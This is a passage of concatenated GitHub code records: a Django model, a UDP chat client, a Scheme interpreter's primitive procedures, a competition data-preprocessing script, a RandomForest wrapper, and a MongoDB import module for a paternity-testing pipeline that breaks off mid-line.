on_delete=models.CASCADE, default=0)\n name = models.CharField(max_length=50)\n on_hand = models.IntegerField()\n price = models.FloatField()\n min = models.IntegerField()\n max = models.IntegerField()\n\n\nclass Product(models.Model):\n company = models.ForeignKey(Company, on_delete=models.CASCADE, default=0)\n name = models.CharField(max_length=50)\n parts = models.ManyToManyField(Part)\n on_hand = models.IntegerField()\n price = models.FloatField()\n min = models.IntegerField()\n max = models.IntegerField()\n","repo_name":"zpillman/django-inventory-project","sub_path":"inventory/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16125909275","text":"'''\nchat room 客户端\n'''\n\nfrom socket import *\nimport os,sys\n\n#服务端地址,客户端ｙｉｉｄｎｇ会接收服务端地址\nADDR = ('127.0.0.1',8888)\n\n#发消息的函数\ndef send_msg(s,name):\n while True:\n #捕获掉用户如果按ctrl+c的异常\n try:\n text = input('>>')\n except (KeyboardInterrupt,SyntaxError):\n text = 'quit'\n #退出的情况\n if text.strip() == 'quit':\n msg = 'Q' + name\n s.sendto(msg.encode(),ADDR)\n sys.exit('退出聊天室') #进程退出，打印出:退出聊天室\n\n msg = 'C %s %s'%(name,text)\n s.sendto(msg.encode(),ADDR)\n\n#接收消息\ndef recv_msg(s):\n while True:\n data,addr = s.recvfrom(4096)\n #发送消息的进程退出(表明用户要退出)，接收消息的进程也得跟着退出\n if data.decode() == 'EXIT':\n sys.exit()\n print(data.decode()+'\\n>>',end='') #\\n>>表示换行打印出光标\n\n\n#搭建网络\ndef main():\n s = socket(AF_INET,SOCK_DGRAM)\n\n #进入聊天室\n while True:\n name = input('请输入昵称：')\n msg = 'L ' + name #通信协议与服务端确定好\n s.sendto(msg.encode(),ADDR)\n #接收反馈\n data,addr = s.recvfrom(128)\n # 登录成功，服务端会返回OK\n if data == b'OK':\n print('您已进入聊天室')\n break\n #登录失败，重新输入用户名\n else:\n print(data.decode())\n\n #已经进入聊天室,创建一个进程收消息，一个进程发消息，避免消息堵塞\n pid = os.fork()\n if pid < 0:\n sys.exit('Error!')\n elif pid == 0:\n send_msg(s,name)\n else:\n recv_msg(s)\n\n\n\n\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n\n\n","repo_name":"codefish-yu/socket-chatroom","sub_path":"chat_client.py","file_name":"chat_client.py","file_ext":"py","file_size_in_byte":1812,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2386072542","text":"\"\"\"\nCreated on Sun Dec 28 20:16:29 2014\n\n@author: aashishsatya\n\nDescription: Script that handles primitive procedures\n\n\"\"\"\n\n# Classifier.py finds the type of Scheme expression \n# that was given as input\nfrom Classifier import *\n# selectors for the given Scheme expression\nfrom Selectors import *\n\nprimitive_operators = ['+', '-', '*', '/', '=', '<', '>', '<=', '>=',\n 'and', 'or', 'not', 'eq?', 'equal?']\n \nprimitive_list_operators = ['cons', 'car', 'cdr', 'null?', 'list?', 'list',\n 'append']\n\ndef make_list(arguments):\n return arguments\n \ndef convert_to_scheme_expression(val):\n \n \"\"\"\n Prints Python expression val as an expression in Scheme\n \"\"\"\n \n # some code taken from Peter Norvig's implementation of the same\n # thanks Mr. Norvig\n # list_repn stands for list representation\n if type(val) == list:\n list_repn = '(' + ' '.join(map(convert_to_scheme_expression, val)) + ')'\n return list_repn\n\n elif str(val) == 'True':\n return '#t'\n elif str(val) == 'False':\n return '#f'\n else:\n return str(val)\n \ndef is_shortened_list_operation(operation_name):\n \n \"\"\"\n Checks if an operation is a shortened list operation such as caar, cadddr\n etc.\n Input: A string\n Output: True or False depending on whether the operation is a shortened\n list operation\n \"\"\"\n \n if operation_name[0] != 'c' or operation_name[-1] != 'r':\n return False\n \n for character in operation_name[1:-1]:\n if character != 'a' and character != 'd':\n return False\n \n return True\n \ndef expand_list_operation(list_op, args):\n \n \"\"\"\n Converts a shortened list operation to its expanded form.\n This is done because the program can only work on expanded forms of\n list operations.\n Input: A list operation in its short form and the arguments\n Output: Expanded form of the list operation along with the arguments.\n \"\"\"\n \n # args[0] because internal representation will be of the form\n # [[, , ...]] <= notice the double parens\n args = args[0]\n for index in range(len(list_op) - 2, 0, -1):\n if list_op[index] == 'a':\n args = ['car', args]\n elif list_op[index] == 'd':\n args = ['cdr', args]\n \n return args \n\ndef raise_argument_error(function_name, error_type, error_arg):\n \n \"\"\"\n Raises an error of type error_type with error_arg as the object\n being printed as responsible for the error.\n \"\"\"\n \n raise error_type('The object ' + convert_to_scheme_expression(error_arg) + ', passed as an argument to ' + function_name + ', is not the correct type.')\n \ndef raise_argument_count_error(correct_number, error_number, procedure_name):\n \n \"\"\"\n Raises an error of type TypeError with a message containing the \n input number and the required number of arguments.\n \"\"\"\n \n if type(procedure_name) == str:\n raise TypeError('The procedure ' + procedure_name + ' has been called with ' + str(error_number) + ' argument(s); it requires exactly ' + str(correct_number) + ' argument(s).')\n # in case lambdas are being directly used (then they don't have a name)\n raise TypeError('The procedure has been called with ' + str(error_number) + ' argument(s); it requires exactly ' + str(correct_number) + ' argument(s).') \n\ndef apply_list_procedure(list_operation, args):\n \n \"\"\"\n Applies list operations to given arguments\n \"\"\"\n \n if list_operation == 'cons':\n if len(args) != 2:\n raise_argument_count_error(2, len(args), 'cons')\n if not type(args[1]) == list:\n raise_argument_error(list_operation, TypeError, convert_to_scheme_expression(args[1]))\n return make_list([args[0]] + args[1])\n \n elif list_operation == 'append':\n if not type(args[0]) == list:\n raise_argument_error(list_operation, ValueError, convert_to_scheme_expression(args[0]))\n if not type(args[1]) == list:\n raise_argument_error(list_operation, ValueError, convert_to_scheme_expression(args[0]))\n appended_lists = []\n for arg in args:\n appended_lists += arg\n return appended_lists\n \n elif list_operation == 'list':\n return args\n \n if len(args) != 1:\n raise_argument_count_error(1, len(args), list_operation)\n \n if list_operation == 'list?':\n return type(args[0]) == list\n \n if type(args[0]) != list:\n raise_argument_error(list_operation, ValueError, convert_to_scheme_expression(args[0]))\n \n if list_operation == 'car':\n # []\n # extra parens because of the [1:] from get_arguments() earlier in PyScheme.py\n # same goes for cdr and null? as well\n if args[0] == []:\n raise_argument_error(list_operation, ValueError, convert_to_scheme_expression(args[0]))\n return args[0][0]\n \n elif list_operation == 'cdr':\n if args[0] == []:\n raise_argument_error(list_operation, ValueError, convert_to_scheme_expression(args[0]))\n return args[0][1:]\n \n elif list_operation == 'null?':\n return args[0] == [] \n \n\ndef apply_arithmetic_operator(op, arguments):\n \n \"\"\"\n Applies an arithmetic operator (+, -, /, *) to the arguments.\n Input: An operator type and arguments\n Output: Value after applying operator op to its arguments.\n \"\"\"\n \n running_value = op(arguments[0], arguments[1])\n \n if len(arguments) == 2:\n return running_value\n \n # has more than two arguments, so process them\n remaining_arguments = arguments[2:]\n for argument in remaining_arguments:\n running_value = op(running_value, argument) \n \n return running_value\n \ndef apply_logic_operator(op, arguments):\n \n \"\"\"\n Applies a logic operator (>, <, == etc.) to the arguments\n Input: An operator and arguments\n Output: A True or False boolean value after applying op to its arguments\n \"\"\"\n \n running_value = op(arguments[0], arguments[1])\n \n if len(arguments) == 2:\n return running_value\n \n index = 2\n while running_value and index < len(arguments):\n running_value = running_value and op(arguments[index - 1], arguments[index])\n index += 1\n \n return running_value\n \ndef apply_operators(op, arguments):\n \n # op stands for the operator given as string\n \n \"\"\"\n Applies operator to given arguments (may be more than two; see below)\n \"\"\"\n \n import operator\n \n # checking error in arguments\n for arg in arguments:\n if arg not in (True, False) and op in ('and', 'or', 'not'):\n raise_argument_error(op, TypeError, arg)\n if type(arg) != int and op == 'modulo':\n raise_argument_error(op, TypeError, arg)\n if op not in ('eq?', 'and', 'or', 'not', 'modulo', 'equal?') and type(arg) not in (int, float):\n raise_argument_error(op, TypeError, arg)\n \n if op in ('modulo', 'eq?', 'equal?') and len(arguments) != 2:\n raise_argument_count_error(2, len(arguments), op)\n \n \n if op == 'and':\n current_op = operator.and_\n elif op == 'or':\n current_op = operator.or_\n elif op == 'not':\n if len(arguments) != 1:\n raise_argument_count_error(1, len(arguments), 'not')\n return operator.not_(arguments[0])\n elif op == 'modulo': \n return operator.mod(arguments[0], arguments[1])\n elif op == 'eq?':\n if type(arguments[0]) == str and type(arguments[1]) == str:\n return arguments[0] == arguments[1]\n else:\n return id(arguments[0]) == id(arguments[1])\n elif op == 'equal?':\n if type(arguments[0]) in (int, float) and type(arguments[1]) in (int, float): \n if type(arguments[1]) != type(arguments[0]):\n return False\n else:\n return arguments[0] == arguments[1]\n return str(arguments[0]) == str(arguments[1])\n \n # find the type of the operator\n if op == '+':\n current_op = operator.add\n elif op == '-':\n current_op = operator.sub\n elif op == '*':\n current_op = operator.mul\n elif op == '/':\n current_op = operator.div\n elif op == '=':\n current_op = operator.eq\n elif op == '<':\n current_op = operator.lt\n elif op == '>':\n current_op = operator.gt\n elif op == '<=':\n current_op = operator.le\n elif op == '>=':\n current_op = operator.ge\n \n if op in ['+', '-', '*', '/']:\n return apply_arithmetic_operator(current_op, arguments)\n \n return apply_logic_operator(current_op, arguments)\n ","repo_name":"aashishsatya/PyScheme","sub_path":"PrimitiveProcedures.py","file_name":"PrimitiveProcedures.py","file_ext":"py","file_size_in_byte":8892,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"74098004108","text":"#coding:utf8\nimport time\nimport pandas as pd\nimport lightgbm as lgb\nfrom sklearn.metrics import log_loss\nimport matplotlib.pyplot as plt\nimport warnings\n\n\n#将unix时间戳value改为指定的format格式\ndef timestamp_datetime(value):\n format = '%Y-%m-%d %H:%M:%S'\n value = time.localtime(value)\n dt = time.strftime(format, value)\n return dt\n\n#数据预处理\ndef convert_data(data):\n #将data里面的'context_timestamp'列属性换算成2018-09-09 13:59:59格式\n data['time'] = data.context_timestamp.apply(timestamp_datetime)\n #截取2018-09-09 13:59:59格式对应位置的数值\n data['day'] = data.time.apply(lambda x: int(x[8:10]))\n data['hour'] = data.time.apply(lambda x: int(x[11:13]))\n data['minute'] = data.time.apply(lambda x: int(x[14:16]))\n data['second'] = data.time.apply(lambda x: int(x[17:]))\n #不同user_id有197693条\n #groupby()方法能总结出不重复的按指定columns分组的记录，此处意为某用户在某一天的数据,共229465条\n #.size()方法能总结出groupby之后，数据出现的次数，也就是某用户在某一天浏览（或购买）过的商品次数\n #.reset_index()方法能给groupby.size之后的df重新设置索引，从零开始\n #.rename方法将size（）方法生成的列标签\"0\"改为user_query_day\n user_query_day = data.groupby(['user_id', 'day']).size(\n ).reset_index().rename(columns={0: 'user_query_day'})\n\n #merge介绍url\n #https://blog.csdn.net/weixin_37226516/article/details/64137043\n #‘left’只的是以data里面的columns为基准对齐\n data = pd.merge(data, user_query_day, 'left', on=['user_id', 'day'])\n user_query_day_hour = data.groupby(['user_id', 'day', 'hour']).size().reset_index().rename(\n columns={0: 'user_query_day_hour'})\n data = pd.merge(data, user_query_day_hour, 'left',\n on=['user_id', 'day', 'hour'])\n\n return data\n\n\nif __name__ == \"__main__\":\n #忽略警告\n warnings.filterwarnings(\"ignore\")\n online = False# 这里用来标记是 线下验证 还是 在线提交\n\n data = pd.read_csv('round1_ijcai_18_train_20180301.txt', sep=' ')\n data.drop_duplicates(inplace=True)\n data['item_category_list'] = data['item_category_list'].map(lambda x: int(str(x).split(';')[1]))\n #data = convert_data(data)\n item_category_list_index_time=[]\n\n #sort已弃用，要用sort_index或者sort_values\n #data = data[['user_id','item_category_list','time','is_trade']]\n data.sort_values(by=['user_id','item_category_list','context_timestamp'], ascending=[0, 1,2], inplace=True)\n #data=data.reset_index()\n #print(data.reset_index())\n data = data.reset_index(drop=True)\n\n # print(data.user_id[0])\n index_user=1\n index_item=1\n new_ss=[]\n\n for row in data.iterrows():\n if (row[1]['user_id']==index_user) and (row[1]['item_category_list']==index_item):\n continue\n else:\n index_user=row[1]['user_id']\n index_item=row[1]['item_category_list']\n s= data[(data.user_id==row[1]['user_id']) &(data.item_category_list==row[1]['item_category_list'])]\n if len(s)==1:\n new_ss.append(1)\n else:\n for new_s in range((len(s)-1)):\n new_ss.append(2)\n new_ss.append(3)\n # print(new_ss)\n\n data=pd.concat([data,pd.DataFrame({'item_sees':new_ss})],axis=1)\n data.to_csv('2new_data.csv',index=False,sep=' ')\n print(data)\n\n\n\n","repo_name":"zhmi1204/alimama","sub_path":"submited_plan/user_sorted_by_frequency_of_item_id_1_2_3.py","file_name":"user_sorted_by_frequency_of_item_id_1_2_3.py","file_ext":"py","file_size_in_byte":3503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31626695333","text":"import numpy as np\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.utils.validation import check_X_y, check_array, check_is_fitted\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import f1_score\n\n\nclass RandomForestPredictor(RandomForestClassifier, TransformerMixin):\n \"\"\"\n Classification with randomized decision trees\n \"\"\"\n def __init__(self, n_estimators=20, n_jobs=4,\n class_weight='balanced_subsample', debug=False):\n self.debug = debug\n super(RandomForestPredictor, self).__init__(\n n_estimators=n_estimators, n_jobs=n_jobs, class_weight=class_weight)\n\n def fit(self, X, y):\n X, y = check_X_y(X, y, multi_output=True)\n super(RandomForestPredictor, self).fit(X, y)\n if self.debug:\n print(\"Fitting {} samples:\".format(X.shape[0]))\n print(\"\\t- feature importance: {}\".format(self.feature_importances_))\n return self\n\n def predict(self, X):\n check_is_fitted(self, [\"estimators_\"])\n X = check_array(X)\n prediction = super(RandomForestPredictor, self).predict(X)\n if self.debug:\n print(\"Predicting {} samples\".format(X.shape[0]))\n return prediction.astype(int)\n\n def score(self, X, y):\n prediction = self.predict(X)\n score = f1_score(prediction, y, average='micro')\n if self.debug:\n print(\"Score for {} samples: {}\".format(X.shape[0], score))\n return score\n","repo_name":"puttak/ETH-ml-project","sub_path":"ml_project/models/classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"40582364305","text":"# -*- coding: utf-8 -*-\n# __author__ = 'moli.zhou'\nimport datetime\nimport random\nfrom biocluster.api.database.base import Base, report_check\nimport re\nfrom biocluster.config import Config\nfrom pymongo import MongoClient\nimport gridfs\nfrom mainapp.libs.param_pack import param_pack\nfrom bson import ObjectId\n\n\nclass SgPaternityTest(Base):\n '''\n 将亲子鉴定的结果内容存入数据库中\n '''\n def __init__(self, bind_object):\n super(SgPaternityTest, self).__init__(bind_object)\n # self.mongo_client = Config().mongo_client\n # self.database = self.mongo_client[Config().MONGODB+'_paternity_test']\n # self.mongo_client_ref = Config().biodb_mongo_client\n # self.database_ref = self.mongo_client_ref['sanger_paternity_test_ref'] # 正式机的参考库\n self._project_type = \"pt\"\n\n @report_check\n def add_sg_father(self,dad,mom,preg,batch_id,member_id,type=None):\n '''\n 添加father主表，一个批次有多少个样本就有多少个主表\n :param dad:父本id\n :param mom:母本id\n :param preg:胎儿id\n :param batch_id:批次表的_id\n :param member_id:前端传入的用户id\n :return:返回值为主表的_id\n '''\n temp_d = re.search(\"WQ([0-9]*)-F.*\", dad)\n temp_m = re.search(\".*-(M.*)\", mom)\n temp_s = re.search(\".*-(S.*)\", preg)\n if type == 'free': # 自由交互的主表需要完整记录样本名\n name = 'check_' + dad + '_' + mom + '_' + preg\n else:\n name = dad + \"-\" + temp_m.group(1) + \"-\" + temp_s.group(1)\n # 信息增加modify by zhouxuan 20170705\n\n pt_collection = self.db[\"sg_pt_customer\"]\n # -T 表示重上机信息不变 # modify by zhouxuan 20170728\n # 根据现在的样本名绑定家系信息中的name方便查找家系信息\n if temp_d and temp_m and temp_s:\n if re.match('(.*-T)([0-9])', dad):\n dad_ = ('-').join(dad.split('-')[:-1])\n else:\n dad_ = dad\n if re.match('(.*-T)([0-9])', mom):\n mom_ = ('-').join(mom.split('-')[:-1])\n temp_m_ = re.search(\".*-(M.*)\", mom_)\n else:\n temp_m_ = temp_m\n message_id = dad_ + \"-\" + temp_m_.group(1) # 只有父本和母本的名字\n else:\n message_id = 'free_WQ'\n # 对于自由组合而言，只有正确的家系生成的message_id才会有用\n\n result = pt_collection.find_one({\"name\": message_id}) # 自由组合可能没有这个\n if result:\n report_status = result['report_status']\n accept = result['accept_time']\n if report_status == '是':\n report_status = '1'\n else:\n report_status = '0'\n time = accept.split('-')\n accept_time = datetime.datetime(int(time[0]), int(time[1]), int(time[2]), 0, 0)\n report_time = accept_time + datetime.timedelta(days=5)\n else: # 当自由组合找不到的时候，\n report_status = '0'\n report_time = datetime.datetime.now()\n self.bind_object.logger.info('该家系信息不全，请查看：{}'.format(message_id))\n # 这边不需要raise 可以忍受有错误，一方面前面已经判断过一次了，所以不用再次进行判断，另一方面自由组合不需要一定符合家系信息\n if len(str(report_time.month)) == 1:\n ti = str(report_time.year) + '0' + str(report_time.month)\n else:\n ti = str(report_time.year) + str(report_time.month)\n if len(str(report_time.day)) == 1:\n ti = ti + '0' + str(report_time.day)\n else:\n ti += str(report_time.day)\n insert_data = {\n \"dad_id\": dad,\n \"mom_id\": mom,\n \"preg_id\": preg,\n \"family_id\": temp_d.group(1),\n \"name\": name,\n \"created_ts\": datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),\n \"batch_id\": ObjectId(batch_id),\n \"member_id\": member_id,\n \"message_id\": message_id,\n \"report_time\": ti,\n \"report_status\": report_status,\n }\n try:\n collection = self.db['sg_father']\n father_id = collection.insert_one(insert_data).inserted_id\n except Exception as e:\n self.bind_object.logger.error('导入家系主表出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入家系主表成功\")\n return father_id\n\n def add_father_result(self,father_id,pt_father_id, dad_id):\n '''\n 将最终的分析匹配结果和交互表id添加到主表当中去，方便网页展示时取数据以及筛选数据\n :param father_id:father主表的_id\n :param pt_father_id:pt_father交互表的_id\n :param dad_id:父本id\n '''\n self.bind_object.logger.info(\"father主表更新1\")\n collection_result = self.db['sg_pt_father_analysis']\n collection = self.db['sg_father']\n # case = collection.find_one({\"_id\":father_id})\n # dad_id = case['dad_id']\n if collection_result.find_one({'dad_id':dad_id}):\n self.bind_object.logger.info(\"dad_id存在\")\n result_case = collection_result.find_one({'pt_father_id':pt_father_id, \"dad_id\":dad_id})\n else:\n result_case = collection_result.find_one({'pt_father_id': pt_father_id, \"dad_id\": 'NA'})\n self.bind_object.logger.info(\"dad_id为NA\")\n result = result_case['result']\n\n try:\n collection.update({\"_id\": father_id}, {'$set': {\"pt_father_id\": pt_father_id,'result':result}}, multi=True)\n except Exception as e:\n self.bind_object.logger.error('更新father主表结果出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"更新father主表结果成功\")\n\n def update_infoshow(self, pt_father_id,mom,preg):\n '''\n 如果分析结果有问题，如样本深度不够等等。即在结果表中标记qc字段为不合格\n '''\n collection_result = self.db['sg_pt_father_result_info']\n insert={\n \"pt_father_id\":pt_father_id,\n \"qc\":\"unqualified\",\n \"mom_id\":mom,\n \"preg_id\":preg\n }\n\n try:\n collection_result.insert_one(insert)\n except Exception as e:\n self.bind_object.logger.error('更新有问题的母子信息表出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"更新有问题的母子信息表成功\")\n\n def add_father_qc(self, father_id, pt_father_id):\n '''\n 将分析出的样本qc值加入到主表中，方便页面展示\n '''\n collection_result = self.db['sg_pt_father_result_info']\n collection = self.db['sg_father']\n\n result_case = collection_result.find_one({'pt_father_id': pt_father_id})\n qc = result_case['qc']\n\n try:\n collection.update({\"_id\": father_id}, {'$set': {'qc': qc}}, multi=True)\n except Exception as e:\n self.bind_object.logger.error('更新father主表家系质控出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"更新father主表家系质控成功\")\n\n def update_sg_pt_father(self, pt_father_id):\n '''\n 流程结束时更新交互主表的状态\n\n '''\n try:\n collection = self.db['sg_pt_father']\n # collection.update({\"_id\": pt_father_id}, {'$set': {\"status\": \"end\"}})\n collection.update({\"_id\": pt_father_id}, {'$set': {\"status\": \"end\"}}, multi=True)\n except Exception as e:\n self.bind_object.logger.error('更新pt_father主表状态出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"更新pt_father主表状态成功\")\n\n\n\n # \"status\": \"end\",\n # @report_check\n def add_pt_father(self, father_id, err_min, dedup):\n '''\n 增加交互主表。第一次运行时自动添加一个（即主表生成时，交互主表也生成）。后在交互页面投递任务时，\n 每一个任务对应一个交互主表。每一个主表可能对应不同的交互主表（视交互次数而定，但至少对应一个）\n '''\n params = dict()\n params['err_min'] = err_min\n params['dedup'] = dedup\n name = 'err-' + str(err_min) + '_dedup-'+ str(dedup)\n insert_data = {\n \"father_id\": father_id,\n \"name\": name,\n \"status\": \"start\"\n }\n\n collection = self.db['sg_pt_father']\n new_params = param_pack(params)\n insert_data[\"params\"] = new_params\n # collection.insert_data[\"params\"] = params\n try:\n pt_father_id = collection.insert_one(insert_data).inserted_id\n # collection.insert_one(insert_data)\n except Exception as e:\n self.bind_object.logger.error('导入交互主表出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入交互主表成功\")\n return pt_father_id\n\n @report_check\n def add_sg_ref_file(self,father_id, ref_fasta,targets_bedfile,ref_point,fastq_path):\n '''\n 参考文件的记录\n\n '''\n insert_data={\n \"father_id\": father_id,\n \"ref_fasta\": ref_fasta,\n \"targets_bedfile\": targets_bedfile,\n \"ref_point\": ref_point,\n \"fastq_path\":fastq_path,\n }\n try:\n collection = self.db['sg_pt_ref_file']\n collection.insert_one(insert_data)\n # collection.insert_one(insert_data)\n except Exception as e:\n self.bind_object.logger.error('导入参考文件表出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入参考文件表成功\")\n\n @report_check\n def add_sg_pt_father_detail(self,file_path,pt_father_id):\n '''\n 调试表的导入\n '''\n sg_pt_family_detail = list()\n with open(file_path, 'r') as f:\n for line in f:\n line = line.strip()\n line = line.split('\\t')\n if line[0] == \"chrom\":\n continue\n # if line[44] == 'Mis':\n # Mis = '错配'\n # else:\n # Mis = '-'\n if line[8] == 'NA':\n dad_rf = 'NA'\n else:\n dad_rf = round(float(line[8]),8)\n if line[17] == 'NA':\n preg_rf = 'NA'\n else:\n preg_rf = round(float(line[17]),8)\n if line[26] == 'NA':\n mom_rf = 'NA'\n else:\n mom_rf = round(float(line[26]),8)\n\n insert_data = {\n # \"task_id\": self.bind_object.id,\n \"pt_father_id\": pt_father_id,\n \"chrom\": line[0],\n \"pos\":line[1],\n \"dad_id\": line[2],\n \"dad_ref\": line[3],\n \"dad_alt\": line[4],\n \"dad_dp\": line[5],\n \"dad_ref_dp\": line[6],\n \"dad_alt_dp\": line[7],\n \"dad_rf\": dad_rf,\n \"dad_geno\": line[9],\n \"dad_geno_bases\": line[10],\n \"preg_id\": line[11],\n \"preg_ref\": line[12],\n \"preg_alt\": line[13],\n \"preg_dp\": line[14],\n \"preg_ref_dp\": line[15],\n \"preg_alt_dp\": line[16],\n \"preg_rf\": preg_rf,\n \"preg_geno\": line[18],\n \"preg_geno_bases\": line[19],\n \"mom_id\": line[20],\n \"mom_ref\": line[21],\n \"mom_alt\": line[22],\n \"mom_dp\": line[23],\n \"mom_ref_dp\": line[24],\n \"mom_alt_dp\": line[25],\n \"mom_rf\": mom_rf,\n \"mom_geno\": line[27],\n \"mom_geno_bases\": line[28],\n \"reg\": line[29],\n \"from\": line[30],\n \"to\": line[31],\n \"rs\": line[32],\n \"hapmap_rf\": line[33],\n \"hapmap_geno\": line[34],\n \"n\": line[35],\n \"mj_ref\": line[36],\n \"pA\": line[37],\n \"pG\": line[38],\n \"pC\": line[39],\n \"pT\": line[40],\n \"mj_dp\": line[41],\n \"mj_gene\": line[42],\n \"is_test\": line[43],\n \"is_mis\": line[44],\n \"mustbe\": line[45],\n \"mustnotbe\": line[46],\n \"good\": line[47],\n \"pi\": line[48]\n }\n sg_pt_family_detail.append(insert_data)\n try:\n collection = self.db['sg_pt_father_detail']\n collection.insert_many(sg_pt_family_detail)\n except Exception as e:\n self.bind_object.logger.error('导入调试页面表格出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入调试页面表格成功\")\n\n @report_check\n def add_pt_father_figure(self, file_dir,pt_father_id):\n '''\n 导入结果图片\n '''\n fs = gridfs.GridFS(self.db)\n family_fig = fs.put(open(file_dir + '_family.png', 'r'))\n figure1 = fs.put(open(file_dir + '_fig1.png', 'r'))\n figure2 = fs.put(open(file_dir + '_fig2.png', 'r'))\n preg_percent = fs.put(open(file_dir + '_preg_percent.png', 'r'))\n update_data = {\n # \"task_id\": self.bind_object.id,\n \"pt_father_id\": pt_father_id,\n 'family_fig': family_fig,\n 'figure1': figure1,\n 'figure2': figure2,\n 'preg_percent': preg_percent\n }\n try:\n collection = self.db['sg_pt_father_figure']\n figure_id = collection.insert_one(update_data).inserted_id\n except Exception as e:\n self.bind_object.logger.error('导入图片表格出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入图片表格成功\")\n return figure_id\n\n @report_check\n def add_analysis_tab(self, file_path,pt_father_id):\n '''\n 结果信息存入表格，包括测试位点数，有效率无效率等等\n '''\n sg_pt_family_detail = list()\n with open(file_path, 'r') as f:\n for line in f:\n line = line.strip()\n line = line.split('\\t')\n if line[0] == \"dad.id\":\n continue\n temp_fp = eval(line[4])\n RCP = temp_fp / (temp_fp + 1)\n if RCP > 0.5:\n rcp_result = \"> 99.99%\"\n else:\n rcp_result = \"< 0.01%\"\n insert_data = {\n # \"task_id\": self.bind_object.id,\n \"pt_father_id\": pt_father_id,\n \"dad_id\": line[0],\n \"test_pos_n\": line[1],\n \"err_pos_n\": line[2],\n \"err_rate\": line[3],\n \"fq\": line[4],\n \"dp\": line[5],\n \"eff_rate\": line[6],\n \"ineff_rate\": line[7],\n \"result\": line[8],\n \"rcp\": rcp_result,\n }\n sg_pt_family_detail.append(insert_data)\n try:\n collection = self.db['sg_pt_father_analysis']\n collection.insert_many(sg_pt_family_detail)\n except Exception as e:\n self.bind_object.logger.error('导入是否匹配表格出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入是否匹配表格成功\")\n\n @report_check\n def add_info_detail(self, file_path,pt_father_id):\n '''\n 基本信息存入数据库，包括母本胎儿是否匹配，胎儿信号比例等等\n '''\n sg_pt_family_detail = list()\n with open(file_path, 'r') as f:\n for line in f:\n line = line.strip()\n line = line.split('\\t')\n if line[0] == \"bed.preg.id\":\n continue\n if line[1] >= 30 and line[0] >= 4 and line[7] >= 95:\n qc = 'qualified'\n else:\n qc = 'unqualified'\n if str(line[7]) == 'NA':\n mom_preg = line[7]\n else:\n if eval(line[7]) >= 95:\n mom_preg = '{} Yes'.format(line[7])\n else:\n mom_preg = '{} No'.format(line[7])\n insert_data = {\n # \"task_id\": self.bind_object.id,\n \"pt_father_id\": pt_father_id,\n \"preg_id\": line[0],\n \"dp_preg\": line[1],\n \"percent\": line[2],\n \"error\": line[3],\n \"s_signal\": line[4],\n \"mom_id\": line[5],\n \"dp_mom\": line[6],\n \"mom_preg\": mom_preg,\n \"qc\": qc\n }\n sg_pt_family_detail.append(insert_data)\n try:\n collection = self.db['sg_pt_father_result_info']\n collection.insert_many(sg_pt_family_detail)\n except Exception as e:\n self.bind_object.logger.error('导入基本信息表格出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入基本信息表格成功\")\n\n # @report_check\n def add_test_pos(self, file_path, pt_father_id):\n '''\n 测试位点信息导入数据库\n '''\n sg_pt_family_detail = list()\n with open(file_path, 'r') as f:\n for line in f:\n line = line.strip()\n line = line.split('\\t')\n if line[0] == \"检测位点编号\":\n continue\n if line[5] == 'Mis':\n Mis = '错配'\n else:\n Mis = '-'\n insert_data = {\n # \"task_id\": self.bind_object.id,\n \"pt_father_id\": pt_father_id,\n \"test_no\": line[0],\n \"chrom\": line[1],\n \"dad_geno\": line[2],\n \"mom_geno\": line[3],\n \"preg_geno\": line[4],\n \"is_mis\": Mis\n }\n sg_pt_family_detail.append(insert_data)\n try:\n collection = self.db['sg_pt_father_test_pos']\n collection.insert_many(sg_pt_family_detail)\n except Exception as e:\n self.bind_object.logger.error('导入位点信息表格出错：{}'.format(e))\n else:\n self.bind_object.logger.info(\"导入位点信息表格成功\")\n\n def has_problem(self,pt_father_id,dad_id):\n '''\n 如果在分析家系时，有样本质检不过关，此时不绘制结果图，匹配结果字段做异常标记\n '''\n collection = self.db['sg_pt_father_analysis']\n if collection.find_one({'dad_id':dad_id}):\n collection.update({\"pt_father_id\":pt_father_id,'dad_id':dad_id},{\"$set\":{\"result\":'MARK'}}, multi=True)\n else:\n collection.update({\"pt_father_id\": pt_father_id, 'dad_id': 'NA'}, {\"$set\": {\"result\": 'MARK'}}, multi=True)\n\n def check_pt_message(self, family_id_, member_id_, type):\n collection = self.db[\"sg_pt_customer\"]\n if type == 'mom':\n m = collection.find_one({\"pt_serial_number\": family_id_, 'mom_id_': member_id_})\n else:\n m = collection.find_one({\"pt_serial_number\": family_id_, 'dad_id_': member_id_})\n if m:\n return 'True'\n else:\n return 'False'\n\n def import_dedup_data(self, file_path, pt_father_id):\n sg_pt_family_detail = list()\n with open(file_path, 'r') as f:\n data = f.readlines()[1:]\n for line in data:\n line = line.strip().split('\\t')\n temp_fp = eval(line[4])\n RCP = float(temp_fp) / (float(temp_fp) + 1)\n if RCP > 0.5:\n rcp_result = \">99.99%\"\n else:\n rcp_result = \"<0.01%\"\n result = self.ref_db['sg_pt_ref_main'].find_one({\"sample_id\": line[0],\n \"storage_time\": {\"$exists\": True}}) # 正式机\n # result = 